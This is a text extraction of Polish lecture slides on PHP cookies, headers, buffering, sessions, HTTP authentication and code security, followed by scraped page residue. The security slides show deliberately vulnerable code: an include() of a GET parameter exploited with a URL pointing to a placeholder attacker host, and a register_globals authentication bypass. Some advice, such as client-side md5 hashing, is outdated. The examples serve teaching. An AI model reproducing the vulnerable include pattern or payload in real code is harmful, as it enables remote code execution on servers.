kurswww 06c php m7rofqufu46zrmh Nieznany

background image

Kurs WWW

Paweł Rajba

Paweł Rajba

pawel@ii.uni.wroc.pl

http://pawel.ii.uni.wroc.pl/

background image

PHP i ciasteczka

Co to są ciasteczka (cookie)?

Jak to działa?

Kwestia buforowania

Tablica $_COOKIES[ ]

background image

PHP i ciasteczka

int setcookie( string nazwa

[, string wartość
[, int data_ważności
[, string ścieżka
[, string domena
[, int bezpieczne]]]]])

nazwa – nazwa ciasteczka

wartość – wartość ciasteczka

background image

PHP i ciasteczka

data_ważności – do kiedy ciasteczko jest

aktualne; liczba zwracana przez time() lub
mktime()

ścieżka – specyfikuje URLe w domenie dla
których ciastko jest dostępne

domena – domena dla której ciasteczko
będzie dostępne

bezpieczne – określa, czy ciasteczko powinno
być dostępne tylko za pomocą protokołu

HTTPS

background image

PHP i ciasteczka

Kilka uwag dotyczących funkcji setcookie()

niektóre argumenty można pominąć podając

napisy puste

dwóch ostatnich argumenty w powyższy

sposób pominąć nie można

ciasteczko może być usunięte tylko z takimi

parametrami, z jakimi zostało usunięte

ustawione cookie będą widoczne dopiero po

przeładowaniu strony

background image

PHP i ciasteczka

Kilka uwag... c.d.

usunięcie ciasteczka odbywa się przez

podanie wstecznej daty ważności –
przeglądarka uruchamia wtedy mechanizm

usunięcia ciastka

każda przeglądarka składuje cookies osobno

niekiedy przeglądarki różnie obsługują cookies

background image

PHP i ciasteczka

Tablicowa obsługa ciasteczek

setcookie ("cookie[three]", "cookiethree");
setcookie ("cookie[two]", "cookietwo");
setcookie ("cookie[one]", "cookieone");
if (isset($_COOKIE['cookie'])) {
while (list($name, $value)=each($cookie))

{

echo "$name == $value<br>\n";
}
}

background image

PHP i ciasteczka

Przykłady:

setcookie ("ciacho", "smaczne",time()+3600,
"/~pawel/", ".ii.uni.wroc.pl", 1);

ciacho.php

odwiedziny.php

background image

PHP i nagłówki HTTP

int header(string treść_nagłówka)

wysyła nagłówek HTTP

przykłady:

header("Location:

http://www.onet.pl/

");

$download_size = filesize($file_server_path);
header("Content-type: application/x-download");
header("Content-Disposition: attachment;

filename=$file_download_name;");

header("Accept-Ranges: bytes");
header("Content-Length: $download_size");
@readfile($file_server_path);

background image

PHP i nagłówki HTTP

array headers_list (void)

lista nagłówków do wysłania

bool headers_sent (void)

sprawdza, czy nagłówki zostały już wysłane

background image

PHP – buforowanie

bool ob_start ( [callback output_callback])

rozpoczęcie buforowania

bool ob_end_clean ( void )

kończy buforowanie i czyści bufor wyjściowy

bool ob_end_flush ( void )

kończy buforowanie i wypisuje zawartość

void ob_clean ( void )

czyści bufor wyjściowy

background image

PHP – buforowanie

string ob_get_clean (void)

zwraca aktualną zawartość bufora i czyści

bufor

string ob_get_flush(void)

wypisuje zawartość bufora

zwraca go jako napis

kończy buforowanie

int ob_get_length(void)

zwraca rozmiar bufora wyjściowego

background image

PHP – buforowanie

Przykład:

bufory.php

background image

PHP i sesje - wprowadzenie

Jak to działa?

po co to? – stan aplikacji

rola klienta i serwera

identyfikator sesji (cookie lub zmienna GET)

background image

PHP i sesje - wprowadzenie

Utworzenie sesji

Korzystanie z sesji

KLIENT

KLIENT

SERWER

SERWER

Klient wysyła żądanie zasobu

Serwer odsyła identyfikator

nowo utworzonej sesji

KLIENT

KLIENT

SERWER

SERWER

Klient wysyła żądanie zasobu
dołączając identyfikator sesji

Na serwerze

tworzona jest

nowa sesja

Na serwerze

odtwarzane

są dane sesji

background image

PHP i sesje – zestaw funkcji

string session_name ([string nazwa])

pobierz i/lub ustaw nazwę dla sesji

wywołujemy przed session_start()

używana w identyfikatorze sesji (ciastka lub

URL, domyślnie PHPSESSID)

jeśli chcemy zmienić nazwę, to musimy ją

wywoływać na każdej stronie – w przeciwnym
razie od razu przywracana jest wartość z
session.name

background image

PHP i sesje – zestaw funkcji

string session_id ([string id])

pobierz i/lub ustaw identyfikator sesji

jeżeli zmienić identyfikator bieżącej sesji, to

musimy wywołać funkcję przed session_start()

bool session_start(void)

tworzy (lub odtwarza) sesję w oparciu o

identyfikator sesji przekazywany przez

COOKIE lub parametr w URL.

jeżeli używamy sesji opartych o cookies, to

session_start() musi być wywołane przed

wysłaniem czegokolwiek do przeglądarki

background image

PHP i sesje – zestaw funkcji

void session_write_close(void)

zapisuje dane i kończy sesję

void session_commit(void)

alias do session_write_close()

bool session_destroy(void)

niszczy sesję, nie usuwa ciasteczka

prosty sposób usunięcia ciastka sesyjnego:
setcookie(session_name(),"",0,"/")

background image

PHP i sesje – przykład

licznik.php

background image

PHP i sesje – zestaw funkcji

string session_save_path([string ścieżka])

pobierz i/lub ustaw ścieżkę zapisu bieżącej

sesji

w Foxserv domyślnie:
C:\FoxServ\sessiondata

bool session_regenerate_id(void)

tworzy nowy identyfikator dla sesji (dostępne

od PHP 4.3.2)

background image

PHP i sesje – zestaw funkcji

string session_encode(void )

koduje dane sesji do postaci stringu

bool session_decode(string dane)

odtwarza dane sesji ze stringu

najpierw trzeba użyć session_start

void session_set_cookie_params(

int czas_życia
[, string ścieżka
[, string domena]])

ustawia parametry ciastka sesji

background image

PHP i sesje – zestaw funkcji

array session_get_cookie_params(void)

zwraca parametry ciasteczka sesji

lifetime – czas życia sesji

path – ścieżka dla sesji

domain – domena ciasteczka

secure – ciasteczko może być przesyłane tylko

poprzez biezpieczne połączenie

background image

PHP i sesje – zmienne (cz. 1)

bool session_register(mixed nazwa

[, mixed ...])

rejestruje zmienną globalną jako zmienną sesji

$dilbert = "Fajny komiks";
session_register("dilbert");

bool session_unregister(string nazwa)

wyjestruj zmienną z bieżącej sesji

background image

PHP i sesje – zmienne (cz. 1)

void session_unset(void)

zwalnia wszystkie zmienne sesji

bool session_is_registered(string nazwa)

sprawdza, czy zmienna jest zarejestrowana

background image

PHP i sesje – zmienne (cz. 2)

Używamy tablicy $_SESSION[ ] (w starszych

wersjach $HTTP_SESSION_VARS[ ])

ustanowienie zmiennej sesyjnej
$_SESSION["zmienna"] = "a to jej wartosc"

usunięcie zmiennej sesyjnej
unset($_SESSION["zmienna"])

usunięcie wszystkich zmiennych
$_SESSION = array()

sprawdzenie, czy zmienna istnieje
isset($_SESSION["zmienna"])

background image

PHP i sesje - przykłady

Niszczenie sesji (pierwszy sposób)

<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
session_unset();
session_destroy();
?>

background image

PHP i sesje - przykłady

Niszczenie sesji (drugi sposób)

<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
$_SESSION = array();
session_destroy();
?>

background image

PHP i sesje

Propagowanie identyfikatora w URLu

kiedy stosować?

stała SID

opcja --enable-trans-sid

opcja --enable-trans-sid, a wydajność –

różnica ok. 10%

Zapisywanie danych sesji w bazie danych

do czego może się to przydać? (personalizacja)

funkcje session_encode() i session_decode()

background image

PHP i sesje – opcje

session.save_path

określa, gdzie będą tworzone pliki z danymi

sesji

domyślnie: C:\FoxServ\sessiondata

session.name

określa nazwę sesji, która będzie też nazwą
ciastka

domyślnie PHPSESSID

background image

PHP i sesje – opcje

session.auto_start

określa, czy sesja ma być uruchamiana

automatycznie na początku wywołania

domyślnie 0 (wyłączone)

session.cookie_lifetime

określa w sekundach długość życia ciastka

sesyjnego

0 oznacza "dopóki przeglądarka nie została

zamknięta"

domyślnie 0

background image

PHP i sesje – opcje

session.use_cookies

określa, czy identyfikator sesji będzie po

stronie klienta pamiętany za pomocą ciastka

domyślnie 1 (włączone)

session.use_only_cookies

określa, czy do pomiętania id sesji mają być

wykorzystywane tylko ciastka

domyślnie 0 (ze względu na kompatybilność)

zwiększa bezpieczeństwo

background image

Kontrola dostępu do danych

Terminologia

Authentication – identyfikacja

Authorization – czy jest dostęp do zasobu

Access Control – sterowanie dostępem do

zasobu (może zależeć od innych czynników)

background image

Autoryzacja HTTP

Rodzaje

Basic

Digest

Główna zaleta Digest – hasło nie jest

przesyłane jawnym tekstem

background image

Autoryzacja HTTP w Apache'u

Najpierw sprawdzamy, czy apache jest

skompilowany z modułem mod_auth.c

apache.exe -l
httpd -l

Upewniamy się, że pliku

httpd.conf

jest wpis

AllowOverride All

Teraz, możemy utworzyć plik .htaccess w

każdym katalogu w którym chcemy sterować

prawami dostepu

background image

Autoryzacja HTTP w Apache'u

Przykładowa zawartość pliku

.htaccess

<Files tajne.php supertajne.php>
AuthType Basic
AuthUserFile /usr/local/apache/users
AuthName "Administration Module"
Require valid-user // pawel zenek
Order allow,deny
Allow from swiatowit.ii.uni.wroc.pl
Deny from all
Satisfy any // all
</Files>

Pominięcie znacznika Files sprawi, że chroniona
będzie cała zawartość katalogu

background image

Autoryzacja HTTP w Apache'u

Na końcu tworzymy użytkownika

htpasswd -c users pawel
htpasswd users john

istotne, żeby pliku z użytkownikami nie
trzymać w miejscu dostępnym z przeglądarki

background image

Autoryzacja HTTP w Apache'u

Podsumowanie

wystarcza przy mało wymagającej autoryzacji

ograniczenia przy zarządzaniu użytkownikami

interfejs przeglądarki

wylogowanie poprzez wyłączenie przeglądarki

konieczność ingerencji w konfigurację serwera

background image

Autoryzacja HTTP w PHP

Kilka uwag na początek:

obsługiwana tylko wtedy, gdy PHP działa jako

moduł Apache (jako CGI – nie działa)

obecnie obsługiwana jest tylko autoryzacja

typu Basic

po wysłaniu nagłówków, użytkownik wpisuje

dane użytkownika i hasło, które są
przekazywane w zmiennych

$_SERVER['PHP_AUTH_USER']

$_SERVER['PHP_AUTH_PW']

background image

Autoryzacja HTTP w PHP

Przykład:

httpauth.php

background image

Autoryzacja – sesje w PHP

Etapy dostępu do danych

Logowanie

pobranie danych użytkownika (login + hasło)

weryfikacja

odnotowanie faktu weryfikacji w logach

rozpoczęcie sesji

background image

Autoryzacja – sesje w PHP

Etapy dostępu do danych

Użycie sesji

podtrzymanie sesji

ponowna weryfikacja uprawnień

Wylogowanie

zakończenie sesji

odnotowanie faktu w logach

usunięcie danych związanych z sesją (ważne)

background image

Autoryzacja – sesje w PHP

Przykład:

login.php

i

pokaz.php

background image

Autoryzacja – sesje w PHP

Sprawdzanie hasła:

jak w przykładzie

na podstawie pliku tekstowego

na podstawie bazy danych

W miarę możliwości nigdzie nie trzymamy

haseł w postaci jawnej

background image

Autoryzacja – sesje w PHP

Zalety przechowywania haseł w pliku

dobre dla obsługi kilku użytkowników

łatwa obsługa

nie wymagają dodatkowego oprogramowania

Zalety przechowywania haseł w bazie danych

możliwość obsługi bardzo wielu użytkowników

szybszy dostęp

lepsze zarządzanie zawartością

większe bezpieczeństwo

background image

Autoryzacja – sesje w PHP

Przesyłanie hasła

jawny tekst

szyfrogram md5 (obliczany po stronie klienta)

background image

Bezpieczeństwo kodu PHP

Opcja

register_globals

w php.ini

jej włączenie powoduje, że wszystkie dane

pochodzące od użytkownika są dostępne z

poziomu zmiennej (POST, GET, COOKIE, ...)

powinna być wyłączona (Off) i tak jest

domyślnie

Przykład (login.php):

<?php
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>

background image

Bezpieczeństwo kodu PHP

A teraz uruchamiamy skrypt

login.php?auth=true

Przykład: (login.php ulepszony)

<?php
$auth=false;
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>

background image

Bezpieczeństwo kodu PHP

Raportowanie błędów – error_reporting()

podczas pisania skryptów, testowania należy

włączyć raportowanie
error_reporting(E_ALL)

przy wdrażaniu aplikacji należy wszystkie
raportowania bezwzględnie powyłączać
error_reporting(0)

background image

Bezpieczeństwo kodu PHP

Weryfikacja danych pochodzących od

użytkownika

sprawdzić należy wszystkie dane w

szczególności pod kątem

typ danych

zawartość

długość

akceptujemy te tylko dane, których się

spodziewaliśmy

nigdy nie polegamy na weryfikacji po stronie

klienta

background image

Bezpieczeństwo kodu PHP

W jaki sposób weryfikować?

sprawdzić typy

skorzystać z wyrażeń regularnych

sprawdzić wielkość

sprawdzić zbiór dopuszczalnych wartości

...

background image

Bezpieczeństwo kodu PHP

Przykład:

<?php
if (isset($_GET["plik"])) include($_GET["plik"]);
?>

i agresor robi tak:

skrypt.php?plik=http://agresor.pl/zlosliwy.php

background image

Bezpieczeństwo kodu PHP

Wszystkie pliki PHP powinny być przez

serwer parsowane

jeżeli dajemy rozszerzenie

.inc

, to musimy się

upewnić, że pliki z tym rozszerzeniem są
interpretowane

Nie należy dawać możliwości oglądnięcia

wyniku działania funkcji

phpinfo()

background image

Bezpieczeństwo kodu PHP

Upload plików

należy upewniać się, że upload pliku

faktycznie miał miejsce – służą do tego
funkcje

is_uploaded_file()

move_uploaded_file()

background image

Bezpieczeństwo kodu PHP

Tryb bezpieczny (safe_mode)

jeśli możliwe, należy z tego korzystać, chociaż

lepiej dobrze skonfigurować serwer WWW

skrypt ma dostęp tylko to tych plików których

właścicielem jest właściciel skryptu

background image

Bezpieczeństwo kodu PHP

Dyrektywy odpowiedzialne za tryb bezpieczny

safe_mode = Off

safe_mode_gid = 0

safe_mode_include_dir =

safe_mode_exec_dir =

open_basedir =

safe_mode_allowed_env_vars = PHP_

safe_mode_protected_env_vars =

LD_LIBRARY_PATH

disable_functions =

background image

Bezpieczeństwo kodu PHP

Ukrywanie rozszerzeń

dodajemy w pliku httpd.conf
(ewentualnie .htaccess)

AddType application/x-httpd-php .htm .html

Ukrywanie hasła do bazy danych (plik httpd.conf)

<Directory "C:\Foxserv\www\test">
php_admin_value open_basedir C:\Foxserv\www\test
php_admin_value disable_functions a3js8ge4a2
</Directory>
<?php
echo ini_get("disabled_functions");
?>


Wyszukiwarka

Podobne podstrony:
kurswww 06e php l4zupq3upz4i7klcgxbsinlub4k5v5wkgbyppqa L4ZUPQ3UPZ4I7KLCGXBSINLUB4K5V5WKGBYPPQA
kurswww 04ab javascript i67y762 Nieznany
kurswww-06b-php
kurswww 07 smarty yk6fw45zrsnlu Nieznany
kurswww 06b php loftmhfhjvq737fjwghzeg4xrqzewhoj6ropwby LOFTMHFHJVQ737FJWGHZEG4XRQZEWHOJ6ROPWBY
kurswww 03a xml ln32apw2bdiw5hg Nieznany
kurswww 08 jsp lnt75cn4hp6dum3e Nieznany
kurswww 02a css r5y2zipibrvg4j4 Nieznany
kurswww 06e php l4zupq3upz4i7klcgxbsinlub4k5v5wkgbyppqa L4ZUPQ3UPZ4I7KLCGXBSINLUB4K5V5WKGBYPPQA
kurswww 04ab javascript i67y762 Nieznany
http matel p lodz pl show php s Nieznany (2)
lab 02 php id 258739 Nieznany
AJAX i PHP Tworzenie interakty Nieznany
PHP Programowanie w systemie W Nieznany
http chartstock pl makepdf php Nieznany
grafika php id 194831 Nieznany

więcej podobnych podstron